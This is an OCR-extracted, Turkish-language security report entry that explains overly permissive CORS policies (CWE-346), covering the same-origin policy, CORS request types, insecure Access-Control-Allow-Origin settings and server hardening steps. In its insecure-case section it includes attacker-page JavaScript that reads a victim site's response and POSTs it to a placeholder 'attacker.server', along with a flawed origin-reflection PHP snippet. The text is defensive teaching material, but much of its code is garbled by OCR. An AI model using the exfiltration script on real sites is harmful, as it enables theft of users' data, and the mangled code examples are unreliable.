1.1.1 Agin izinli CORS Politikas1 (Overly Permissive Cross Origin Resource Sharing Po-

licy (CWE-346)
Aciklik Onem Derecesi: Diisiik
Acikhgin Etkisi: Olasi xss saldirilari, olasi csrf saldirilari

Acikhgin Barindiran Dosyalar/Satirlar:

Proje Dosyasi/Dosya Adi | Satir Numarasi

Acikhigin Agiklamasi:

Cross Origin Resource Sharing bashgdi (yani Access-Control-Allow-Origin) asiri izinli
birakildiginda kurbanlar kurum uygulamayi web tarayicilarinda goérintilerlerken saldirganlar

diger sekmelerdeki web sitelerde script’ler ile

o Cross Site Request Forgery (CSRF) ve
e Cross Site Scripting (XSS)

saldirilari uygulayarak kurum uygulama ve kullanicisinin kaynaklarina erisebilir ve maniptle
edebilir. Kurum uygulama kaynaklari sayfa igerikleri, jetonlar (tokens) ve dahasini igerebilir.
Saldirganlar bu sekilde 6rnegin kurban kullanici adina kurum uygulamada parola degisikligi
yapabilir, kurban kullanicinin gizliligini ihlal edebilir v.b. Acikligin anatomisini izah etmek igin

adim adim gidilecektir.
a. Origin Nedir?

Web sitelerine ait URL’lerdeki protokol, host (domain) ve port parcalarinin birlikte olusturdugu
dizilime origin denir. Protokol, host (domain) ve port unsurlari ayni olan URL’lere same origin

(ayni origin) adi verilir.
Ornegin
http://domain.com

origin'i ile web tarayicida goériintlilenen asagidaki origin’ler same origin mi kiyaslamasina tabi

tutalim:

| Web Tarayici Adres Cubugu | Sonug | Neden




Web Tarayici Adres Cubugu | Sonug Neden
http://domain.com/path Evet |Same Origin’dir.ClnkuU protokol, host ve port ayni.
https://domain.com Hayir |Same Origin degildir. Clnku protokol ayni degil.
http://domain.com:8080 Hayir |Same Origin degildir. CUnku port ayni degildir.
http://a.domain.com Hayir |Same Origin degildir. Clnkd host ayni degildir.

Tablo XXX. Origin Ornekleri

Sonug olarak origin’lerin protokol, host ve port seklinde 3 parcasi da ayniysa same origin

denir, degilse farkli origin’ler olurlar.

Web adresler eger ayni protokole, hostname’e (domain veya subdomain’e) ve port
numarasina sahipse same origin’dir, fakat bunun bir istisnasi vardir. Bu noktada Internet
Explorer 6ne ¢ikar. Internet Explorer'da port numarasi origin’i belirleyen bir unsur olarak ele
alinmaz. Dolayisiyla érnegin Internet Explorer'da ayni protokolli ve ayni hostname’li, fakat
80 ve 8080 seklinde iki farkh portlu iki url same origin olarak kabul edilir. Diger web

tarayicilarda same origin olarak kabul edilmez.
b. Same Origin Policy (SOP) Nedir?

Same Origin Policy (SOP) modern web tarayicilarin igerisinde yer alan istemci tarafli bir
glvenlik politikasidir. Web tarayici sekmelerinde goéruntilenen bir web adresin (bir origin’in)
baska bir web adrese (bir diger origin’e) AJAX (asenkron) istekler yapmasini engeller. Diger
bir ifadeyle web tarayici sekmelerinde goruntilenen bir web adresin (bir origin’in) bagka bir
web adresin (bir diger origin’in) DOM ve javascript namespace’ine (isim uzayina) erisimini
engeller. Saldirganlar bu politika olmasa kendilerine ait zararli bir web adresten baska web
adreslere asenkron istekler kurbana yaptirarak hassas veri galabilirler veya kurbana fark

etmeden zafiyetli web sitelerde aksiyon aldirabilirler.

Ornegin web tarayicida kurbanin goériintiiledigi zararl bir web sitesi (origin) var olsun ve bu
www.attacker.com olsun. Zafiyetli web adres (bir diger origin) ise www.victim.com olsun.
Kurbanin web tarayicisinda goruntuledigi www.attacker.com zararli web adresinden

(origin’inden) AJAX (asenkron) istek www.victim.com web adresine (origin’ine) gidiyor olsun.

Kurban Web Tarayici Adres Cubugu: http://www.attacker.com/  //Gdruntilenen Web Adres



Office 365 TR Lisansi

xhr = XMLHttpRequest();

.onreadystatechange = O {

if ( .readyState == 4 && .status == 200) {
xhr2 = XMLHttpRequest();

xhr2.open("POST",

xhr2.send(xhr.responseText);

}

.open("GET", "
.send();

Same Origin Policy web tarayicida “géruntilenen sekmedeki web adresin” yalnizca ayni web
adresin sunucusuna istek géndermesine izin verir. Ayri web adreslere istek gondermesini
engeller. Dolayisiyla kurbanin goérintiledigi www.attacker.com web sayfasinda baska bir
origin’e yapilan AJAX (asenkron) istek sirasinda web tarayicidaki same origin policy hemen
devreye girecektir ve istegi engelleyecektir. Sonug olarak Same Origin Policy bir web tarayici
glvenlik politikasidir ve web sitelerin birbirlerine istek yapmalarini (yani bu yolla

saldirmalarini) engeller.

c. Same Origin Policy (SOP) ve Web Uygulamalarda Third Party Content (Ugtincii Taraf
icerik) Calistirma Hakkinda

Same Origin Policy web tarayici guvenliginin merkezindeki bir kavram olmasina karsin
siklikla yanhs anlasiimaktadir ve lizerine dodru olmayan varsayimlar yayginca yapilmaktadir.

Same Origin Policy hakkinda en c¢ok bilinen efsane “web tarayicinin farkh bir origin’den



kaynak yiklemesini yasaklamasi’dir. Devasa CDN ekosisteminin varligi bunun dogru

olmadigini ispatlar ama drneklerle acgiklayalim.

Ornegin web tarayicida A origin’i (web adresi) goriintiileniyor olsun ve bir de farkli bir B

origin’i var olsun.

o A origin’i <script etiketi ile B origin’indeki javascript dosyasini elbette yikleyebilir.

¢ Ancak A origin’i, icerisindeki javascript kodlari (AJAX) yoluyla B origin’indeki ilgili
script dosyasinin ham halini / kaynak kodunu ¢ekemez.

o A origin’i <link rel="stylesheet" etiketi ile B origin’indeki css dosyasini elbette
yukleyebilir.

e Ancak A origin’i, igerisindeki javascript kodlari (AJAX) yoluyla B origin’indeki ilgili
css dosyasinin ham halini / kaynak kodunu gekemez.

e A origin’i <iframe ile B origin’ini sayfasina elbette yukleyebilir.

e Ancak A origin’i, igerisindeki javascript kodlari yoluyla iframe’in igerisindeki B
origin’inin DOM yapisina ve javascript namespace’ine (isim uzayina) erisemez.

e Aorigin’i <img ile B origin’indeki resim dosyasini elbette yikleyebilir.

¢ Ancak A origin’i, icerisindeki javascript kodlari (AJAX) yoluyla B origin’indeki ilgili
resim dosyasinin bitlerini cekemez.

e A origin’i <video ile B origin’indeki video dosyasini elbette yiikleyebilir.

e Ancak A origin’i, igerisindeki javascript kodlari (AJAX) yoluyla B origin’indeki ilgili
video dosyasinin karelerini (resimlerini) cekemez.

e A origin'i @font-face ile B origin’indeki css font dosyasini elbette yikleyebilir.

e Ancak A origin’i, icerisindeki javascript kodlari (AJAX) yoluyla B origin’indeki ilgili

font dosyasinin igerigini cekemez.

Daha acik ifadeyle belirli HTML nesneler vardir: <img>, (dinamik) <scripts src=http://>,
<iframe>, <video>, <audio>, <object>, <form>, <embed>, <link>, @font-face. Ornegin A
origin’indeki <img> etiketi cross-origin (siteler arasi) icerik olan resmi kullaniciya gorsel
olarak gosterecektir, fakat A origin’indeki script’lerin cross-origin (siteler arasi) resim igerigini
okumasina izin veremeyecektir. Ornegin A origin'indeki <script> etiketi cross-origin (siteler
arasl) icerik olan js dosyasini ¢alistiracaktir, fakat A origin’indeki script’lerin cross-origin
(siteler arasi) js dosyasi igerigini okumasina izin veremeyecektir. Ornegin A origin’indeki
<iframe> etiketi cross-origin (siteler arasi) igerik olan sayfanin igerigini kullaniciya gorsel
olarak gdOsterecektir, fakat A origin’indeki (parent sayfadaki) script’lerin iframe’lenen sayfanin
icerigini okumasina izin veremeyecektir. A origin’inde diger nesneler de ayni sekilde farkh
origin’lerden getirdikleri icerikleri ylkleyeceklerdir, fakat A origin’indeki script’lerin cross-origin

(siteler arasi) bu kaynaklarin ham igerikleri okumasina izin verilmeyecektir.



Yani Same Origin Policy javascript’lerin cross-origin (origin’ler arasi) kaynak iceriklerine
programlamatik erisimini engelleyen bir guvenlik dnlemidir. Yoksa Same Origin Policy cross-
origin (origin’ler arasi) kaynaklarin iceriklerinin ylklenmesini engelleyen bir glivenlik 6nlemi
degildir. Diger bir ifadeyle Same Origin Policy bir web adresin (origin’in) javascript kodlari
(AJAX) ile bir baska web adresin (origin’in) DOM yapisina ve javascript namespace’ine (isim
uzayina) ulasmasini engeller. Yoksa bir web adrese (bir origin’e) baska bir web adresin

(bagka bir origin’in) iceriginin yiklenmesini engellemez.

Web sitelerde cross-origin (origin’ler arasi) seklinde igerik ylkleme - genel itibariyle - izinlidir.
Ornegin bir web adrese farkli bir web adresin igerigi iframe ile - X-Frame-Options
kullanilmadidi takdirde — yuklenebilir. Same Origin Policy’nin burada goérevi ise javascript

yoluyla programlamatik olarak farkli origin olan iframe’in igerigine erisilmesini engellemektir.
d. Same Origin Policy’nin Web Tarayicilarda Varsayilan Olarak Uygulanmasi

Web tarayicilarda Same Origin Policy varsayilan olarak uygulanir. Varsayilan olarak
uygulanmasaydi zararh bir web sitesi ziyaret edildiginde 6rnedin saldirgan kurbanin Gmail
epostalari, Facebook 6zel mesajlari,... gibi hassas verilerini okuyabilirdi veya érnegin kurban
www.banka.kotu-site.com gibi kot bir web sitesini ziyaret edebilir, bu kéti web sitesinde
legal bir www.banka.com bankacilik web sitesi iframe ile yUklenebilir ve kurban burada
oturum acgtiginda saldirgan basit bir JavaScript cagrisi (call) ile iframe’de ylklenen
www.banka.com’un DOM nesnelerine ve javascript namespace’ine (isim uzayina) erisebilirdi.
Bu yolla 6rnegin kurbanin bankadaki bakiye bilgisini alabilirdi veya kurbanin fark etmeden
bankacilik uygulamasinda bir aksiyon almasini saglayabilirdi (6rn; para transfer edebilirdi).
Zararh web sitesinde iframe igerisindeki kurbanin bakiyesi 6rnegin su Javascript koduyla

alinabilirdi.

JavaScript:

var bakiye = frames.banka_frame.document.getElementById("bakiye").value;

Paylasilan Javascript kodun yaptigi sey koti web sitede (parent sitede) banka_frame adli
iframe nesnesine erismek ve iframe’in DOM yapisi icerisindeki bakiye isimli HTML nesneye
erisip degerini ¢ekmektir. Buradaki islem parayi farkli bir yere géndermek igin tarayici

cagrilar (call) yapilacak sekilde genigletilebilir.

Same Origin Policy olmasaydi bu turden siteler arasi (cross-site) istekler kurbanin bilgisi

olmadan ve fark etmeden yurutulebilirdi. Same Origin Policy web tarayicilarda varsayilan



olarak uygulandigindan bu v.b. saldirilarin éniine gecilmis olunmaktadir. iframe drneginde
oldugu gibi bir origin bir bagka origin’i iframe ile sunabilir, igerigini ylUkleyebilir, fakat Same
Origin Policy varsayilan olarak uygulandigindan bir origin iframe ile sundugu diger origin’in

goébmuli icerigine programlamatik olarak erisemez. Bu ciddi zararlarin engellenmesini saglar.
e. Cross Origin Resource Sharing (CORS) Nedir?

Web tarayicilardaki “Same Origin Policy” glivenlik ayarinin web sitelerin sunduklari hizmete
gore esnetilmesi ihtiyaci dogabilmektedir. Ornegin bir web adres (origin) calisma sekli geregi
bir baska web adresin (origin’in) kendisine AJAX (asenkron) istekler yapabilmesine,
programlamatik erisimler saglayabilmesine olanak tanimak isteyebilir. Web tarayicilardaki
“Same Origin Policy’yi esnetmek icin “XDomainRequest’, “JSONP” and “Cross Origin
Resource Sharing” teknikleri vardir. Cross Origin Resource Sharing (CORS) Same Origin
Policy’yi esnetmek icin kullanilan en yaygin tekniktir. Cross Origin Resource Sharing (CORS)

origin izinlerini tanimlamak i¢in http basliklarini kullanan bir http mekanizmasidir.

Web tarayicilarda goértintilenen her bir web sitesi kendi kaynaklarina (érn; ¢erezlerine, DOM
yapisina ve javascript namespace’ine) sahiptir. Bu kaynaklara farkli origin’lerden gelecek
erisimlere izin vermek icin web sitelerde CORS basliklari kullanilir. Bu basliklar verdikleri
izinler dogrultusunda web tarayicilardaki Same Origin Policy’'nin katiligini esnetir. CORS
neticede istemci tarafli web adresler arasi (cross-origin) istekler yapmayi saglayan bir

mekanizmadir.
f. Cross Origin Resource Sharing (CORS) istek Tirleri
iki tlr cors istegi vardir:
1) Simple Request
2) Preflight Request
Bu isteklere bakalim.
1) Simple Request
Eger CORS istegi;

e GET, POST veya HEAD metotlarindan birini igeriyorsa ve
o Content-Type bashgr “application/x-www-form-urlencoded”, “multipart/form-

data” veya “text/plain” ise



bu istek CORS Simple Request olarak degerlendirilir ve istege Origin http istek bashgi
eklenerek dogrudan sunucuya goénderilir. Sunucu istegi kabul edip etmedigini
Access-Control-Allow-Origin http yanit bashgini dénerek belirtecektir. Eger sunucu

istegi kabul ederse yanit istemci tarafindan islenecektir.
CORS Simple Request ve Response 6rnedin su sekilde olacaktir:

Http istegi:

GET / HTTP/1.1
Host: www.zafiyetliwebsitesi.com
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8

Accept-Language: en,en-US;gq=0.5

Connection: keep-alive

Http Yaniti:

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2016 12:43:39 GMT
Server: Apache

Keep-Alive: timeout=2, max=100

Connection: Keep-Alive
Content-Type: application/xml
Content-Length: 423

<?xml version="1.0" encoding="UTF-8"?>

istekte web tarayicida gériintiilenen http://www.zararliwebsitesi.com web adresinden
http://www.zafiyetliwebsitesi.com web adresine CORS Simple Request uygulanmistir.
istekte Origin olarak gérintiilenen web adres (http://www.zararliwebsites.com)
girilmistir. Sunucu Origin’i onayladigina dair http yanit bashgi Access-Control-Allow-
Origin’i géndermistir. Boylece web tarayici esnetilmis Same Origin Policy ile originler

arasil iletisimi kesmeden slrdUrecektir.
2) Preflight Request
Eger CORS istegi;

e istek metodu GET, POST veya HEAD degilse veya
e Istek metodu POST, fakat Content-Type bashgi “application/x-www-form-

”

urlencoded”, “multipart/form-data” veya “text/plain” degilse veya



e [stege “custom” (ekstradan) bir http baslg eklenmisse

istek bir CORS Preflight Request'tir. Diger bir ifadeyle Simple Request kisitlarina
girmeyen bir CORS istegi Preflight Request olarak degerlendirilir. Bu durumda web
tarayici esas cors istegi sunucuya gonderiimeden o6nce OPTIONS metodunu

kullanarak sunucuya preflight kontrol istegi génderir.

CORS Preflight Request ve Response 6rnedine yer verilecek olursa diyelim ki normal
CORS Simple Request tipinde POST istedi gdonderelim, fakat bu istege X-Token-ID
http istek basligini ekleyelim ve Content-Type istek bashgini da application/xml
yapalim. Bu ek islemler istegi Preflight Request yapacaktir.

Pre-flight Check Request:

/resources/post-here/ HTTP/1.1
Host: www.zafiyetliwebsitesi.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;q=0.8
Accept-Language: en-us,en;q=0.5

Connection: keep-alive

Dikkat edilecek olursa istek metodu OPTIONS’dir. Oncelikle http istek basliklarinin
kabul edilebilir olup olmadigi sunucuya sorulmustur. Daha sonra Origin belirtilmigtir.

Sunucu OPTIONS istegini kabul ederse soyle bir yanit donecektir:
Pre-flight Check Response:
HTTP/1.1 200 OK

Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache

ary: Accept-Encoding, Origin
Content-Length: @

Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain




Sunucu burada oldugu gibi 200 OK yaniti dénerse preflight istek kabul edildi anlamina
gelir. Aksi durumda kabul edilmedi anlamina gelir. Bu noktadan sonra pre-flight check
OPTIONS istegi Uzerinden tamamlanmis olur. CORS istegi artik normal Simple
Request gibi devam edebilir. Fakat farki Content-Type http istek bashgr degisikligi
artik izinlidir ve ekstradan X-Token-ID http istek bashdi ayrica izinlidir. Web

tarayicidan gonderilen devam eden CORS istedi su sekilde gortinecektir:
Pre-flight Request:

POST /resources/post-here/ HTTP/1.1

Host: www.zafiyetliwebsitesi.com

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=9.5

Connection: keep-alive

Content-Length: 55

Origin: http://www.zararliwebsitesi.com
Pragma: no-cache

Cache-Control: no-cache

<?xml version="1.0"?>

Sunucu artik normal CORS Simple Request’te oldugu gibi benzer bir yanit verecektir.

g. CORS istegi Alabilen Web Sitelerin Giivensiz “Access-Control-Allow-Origin” (ACAO)

Kullanmasi

Cross Origin Resource Sharing (CORS) XMLHttpRequest yoluyla origin digina istek atip
yanit almay! saglayan bir mekanizmadir. Web tarayicilar Same Origin Policy guvenlik
politikasi geregi cross-origin (siteler arasi) isteklere web siteler “Access-Control-Allow-Origin”

http yanit bashdini sunmadikga izin vermezler.
a) ACAQO’da “*” (Wildcard) Degeri Kullaniimasi

Web siteler ACAO basligi sunduklari zaman * (wildcard) kullanmalari halinde
bu durum mercek altina alinir. Clnkd kurum web uygulamaya tim origin’ler
istek gonderebilirler izni verilmis olunur ki bu durum givensizdir ve kabul
edilebilir degildir. Hassas verilerin ¢alinmasina sebebiyet verebilir. * kullanimi

iki senaryodan birinin mimkun hale gelmesine sebep olabilir.

# Glvenli Olmayan Durum - 1



Egder disari acik bir web sitesi hassas veri tasiyorsa http yanitlarinda Access-
Control-Allow-Origin: * kullaniimasi guvenli degildir. Boylesi bir durumda
saldirganlar kendilerine ait zararl web siteler Gzerinde XHR (asenkron) istekler

yaparak kullanicilarin hassas verilerini ¢alabilirler.

Zafiyetli Web Sitenin CORS isteklerine Déndiigii Yanit

HTTP/1.1 200 OK
[...]

Content-Length: 4
Content-Type: application/xml

[Response Body]

Zararli Web Site:

xhr = XMLHttpRequest();

.onreadystatechange = O {

if ( .readyState == 4 && .status == 200) {
xhr2 = XMLHttpRequest();

xhr2.open("POST", "http://attacker.server", )
xhr2.send(xhr.responseText);

.open("GET", "http://victim.site", )
.send();

# Guvenli Olmayan Durum - 2

Dahili (intranet) bir web sitesi disari agik (public) bir web sitesine gore siklikla
daha duslik gulvenlik seviyesine sahip olur. Eger bir web sitesi bir
organizasyonun intranet’inin bir pargasi ise, private IP adres uzayinda yer

aliyorsa ve ayni agda yer alan bir kullanici da public (disari acgik) internet



erisimine sahipse intranet agindaki web sitesinde kullanilan CORS ayari *
(wildcard) bir acikhk meydana getirir. Ayni intranet aginda kullanici internette
gezinirken bir public zararli web sitesinde CORS temelli saldiri yasayabilir ve
bu yolla saldirgan kurbanin web tarayicisini proxy (vekil) olarak kullanarak

intranet aginda yer alan kaynaklara erigebilir.

<— evil.example

hacker
I
|

:No access
[}
Local network )

other.example/api —>

you

Yani saldirgan dogrudan erisemedigi web sitesine dolayl yoldan erigebilir ve
bu yolla bilgi ifsalari toplayarak bu bilgi ifsalarindan hareketle zafiyetler

bulabilir ve daha ileri erisimler elde etme yollarini arayabilir.

Guvenilir bir agda konumlandiriimisg ve disariya kapali ayarlanmis bir web
sitesine dahili kaynaklarin tamami erisebilsin diye * (wildcard) kullanmak
glvenli gorllse de gorulebilecedi gibi risklidir. ClUnkid bu agda harici web
sitelerini ziyaret eden bir kullanicinin web tarayicisi proxy (vekil) olarak
kullanilabilir ve saldirganlar dolayli olarak CORS’u diizglin yapilandirilmamis

dahili web sitesine erisebilirler.
b) ACAQ’da Istekteki Origin Baghgina Gére Dinamik Deger Kullaniimasi

Web sunucular bazi durumlarda Access-Control-Allow-Origin bashgini aldiklari

isteklerin Origin http istek bagligina gére olustururlar. Ornegin;

CORS Istegi:

GET /hassas-kurban-verisi HTTP/1.1
Host: zafiyetli-web-sitesi.com

: https://zararli-web-sitesi.com
: sessionid=...




CORS Yanitr:

HTTP/1.1 200 OK

Bu ise risklidir. Bu sayede saldirganlar kurbanlara zararli web sitede “yetkili”
asenkron (ajax) istekler yaptirarak hassas veri toplayabilirler veya kurbana fark

ettirmeden zafiyetli web sitede aksiyonlar aldirabilirler.
Not:

“Access-Control-Allow-Credentials:  true” bagsligi cors istegi yaparken
cerezlerin de dahil edilip edilmeyecegini belirtir. Access-Control-Allow-Origin
ayarl * (wildcard) seklinde belirlendiginde otomatik olarak Access-Control-
Allow-Credentials: true engellenir. Bu durum web tarayicilarin varsayilan
glivenlik 6nlemindeki bir politikadan ileri gelir ve bu yolla gelebilecek olasi
saldirilar bdylece o6nlenir. Fakat Access-Control-Allow-Origin ayari belirli bir

domain olursa “Access-Control-Allow-Credentials: true” caligir.

Origin  bashdina goére Access-Control-Allow-Origin  bashgdini ayarlama
noktasinda bir diger kullanim alani bir domain’deki web sitenin kendisine ait

subdomain’lerinden gelen cors isteklerine izin vermesidir.

if (preg_match('|\.example.com$|', $_SERVER['SERVER_NAME'])) {

header("Access-Control-Allow-Origin: {$_SERVER[ 'HTTP_ORIGIN']}");

Kod blogunun yaptigi islem gelen isteklerin web url adresi (hostname’i)
herhangi bir karakterle basliyor ama example.com ile bitiyorsa Access-
Control-Allow-Origin bashgina gelen isteklerin Origin baslik degerini koy
seklindedir. Yani example.com’un subdomain’lerden gelen tim istekler
Access-Control-Allow-Origin ile izinli yapilacaktir. Fakat eger web site
gelistiricisi regexp deseninde yanlislikla $ ifadesini kullanmazsa bu durum kot

yonde kullanilabilir ve saldirgan CORS politikasini atlatabilir.



GET /test.php HTTP/1.1
Host: example.com

[...]

Cookie: <session cookie
Ustteki istek génderildiginde gelen yanitta Access-Control-Allow-Origin basligi
saldirganin girdisi ile ayni olacaktir.

HTTP/1.1 200 OK
[...]

Content-Length: 4
Content-Type: application/xml

[Response Body]

Saldirgan web sitenin domain adi dikkat edilirse example.com igermektedir
ama esas domain attack.com’dur. example.com ifadesi sadece
attacker.com’un subdomain’idir. Saldirgan bdyle bir domain adinda zararli web
sitesi hazirlayarak cors politikasini atlatmis olacaktir “Access-Control-Allow-
Credentials: true” sayesinde kurbanin zafiyetli web sitede sadece kendisinin
erigsebilecegi hassas verilere zararll web sitede asenkron istekler yaparak

saldirgan da erisebilecektir.
c) ACAO’da “null” Degeri Kullaniimasi

Bir web sitesi CORS ayari olarak Access-Control-Allow-Origin bashiginda “null”’
origin’ini tanimlarsa dahili web sayfalar ve sandbox’lanmis (frame’lenmis) web
sayfalardan istek alabilir olur. Bu durumda bir saldirgan zararli web sitesinde
cors ayari glvensiz web sitesini iframe’leyebilir ve bu sekilde cors temelli

saldirilar duzenleyebilir.

Null origin’inin kullanimindan sakiniimahldir. Cors basliklari glvenilir private

(danhili) ve public (disari agik) sunucu origin’lerini agikga tanimlamalidir.

Kurum web uygulamada kaynagin http yanitinda asiri izinli bir Access-Control-Allow-Origin

basligi tespit edilmistir.



Acikligin Onlemi:

Eger API public degilse, Access-Control-Allow-Origin http yanit bashgdi asla * (wildcard) ile
ayarlanmamalidir. Uygulamanin tim icerigi public olarak (yani her origin’ce) programlamatik

*

olarak erisilebilir ve kullanilabilir sekilde dustinidlmuisse sadece o zaman * (wildcard) ile

ayarlanmasinda bir sakinca bulunmaz.
CORS temelli saldirilari 6nlemek igin;

e Duizgln bir cross-origin (siteler arasi) yapilandirmasi uygulanmalidir,
e Yalnizca glvenilir sitelere izin verilmelidir
e Null origin’ine beyaz liste izni verilmemelidir.

e Internal (dahili) aglardaki web API'lerde / sitelerde * (wildcard) kullaniimamalidir.
Sikilastirma adimlari su sekildedir:
i) Apache

Belirtilen satir genellikle httpd.conf veya apache.confda konumlandiriimis
konfigirasyon dosyasindaki <directory>, <location>, <files> veya <virtualhost>
bolimlerinden birine yerlestiriimelidir. Ayrica belirtilen satir .htaccess dosyasina da

yerlestirilebilir.

Header set Access-Control-Allow-Origin "domain"

i) 11S6

1. Internet Information Service (IIS) Manager acilir.

2. CORS’un aktiflestirilecegi siteye sag tik yapilir ve Properties’e gidilir.
3.HTTP Headers sekmesine gegilir.

4. Custom HTTP headers béluminde Add secenegdine tiklanir.

5. “Access-Control-Allow-Origin” baslik ismi olarak girilir.

6. izinli tanimlanacak domain adresi baglik degeri olarak girilir.

iii) 1S7



Web uygulamanin kék dizinindeki web.config dosyasina belirtilen kod blogu eklemesi

yapilir.

version="1.0" encoding="utf-8"

iv) ASP.NET

Alternatif olarak kaynak koda belirtilen kod satiri eklenerek de ilgili énlem devreye

alinabilir:

Response.AppendHeader ("Access-Control-Allow-Origin", "domain");

EK.#1 Same Origin Policy ve Cookie Basli§i Arasindaki iliski

Web tarayicilardaki Same Origin Policy glvenlik politikasinin siteler arasi (cross-site)
asenkron istekler konusunda koydugu kati kural g6z 6nine alindiginda gerezler konusunda
daha genis davrandigi soylenebilir. Web tarayicilarda ¢erezler farkli origin’ler de olsa ilgili
ilgisiz tim origin’lerde erisilebilirdir. Bu nedenle web tarayicilarin siteler arasi (cross-site)
isteklerde cerezleri gbndermesini engellemek icin Cookie basligina SameSite bayragdi
eklenebilir. Cerezlerin javascript namespace’inde (isim uzayinda) erisimini kaldirmak igin de

Cookie basligina HttpOnly bayragdi eklenebilir.

EK.#2 Same Origin Policy ve Cross Origin Resource Sharing Basliklari Cross Site Request

Forgery Saldirilarina Karsi Korur mu?

Same Origin Policy (SOP) veya glvenli yapilandiriimig Cross Origin Resource Sharing
(CORS) Cross Site Request Forgery (CSRF) saldilarinin bir kismini durdurur, fakat bir
kismini durduramaz. SOP’un ve guvenli yapilandiriimis CORS’un CSRF’e kargl “tamamen”

bir guvenlik sagladigi dustnulmesi yaygin bir yanilgidir.



Same Origin Policy (SOP) siteler arasi (cross-site) veri yazmaya izin verir. Ornegin bir
origin’den bir html form’u submit’lendiginde farkli origin’e veri yazdirilabilir. Fakat web tarayici
submitlenen html form sonucunda sunucunun déndiugu yaniti okumaya izin vermez.
Buradan vyola c¢ikarak asenkron istekler kullanmadan da CSRF saldirilarinin
dizenlenebilecegi anlasilabilir. Ornegin basitce GET / POST HTML form’lar kullanmak gibi

veya siteler arasi (cross-site) kaynak dahil etme (<img src=x) gibi.

SOP veya glvenli yapilandiriimigs CORS yalnizca belirli kategorideki (asenkron istek yapan)
CSREF saldirilarini énler. Fakat SOP en kati halinde kullanildiginda CSRF saldirilar yine de
duzenlenebilir veya CORS kullaniliyorsa ve glvenli yapilandiriimigsa CSRF saldirilari yine
de duzenlenebilir. Ancak CORS kullaniliyorsa ve guvensiz yapilandiriimigsa bu durum CSRF

saldirilarini arttirici ve CSRF saldirilarinin etkisini siddetlendirici bir etkiye sahip olacaktir.
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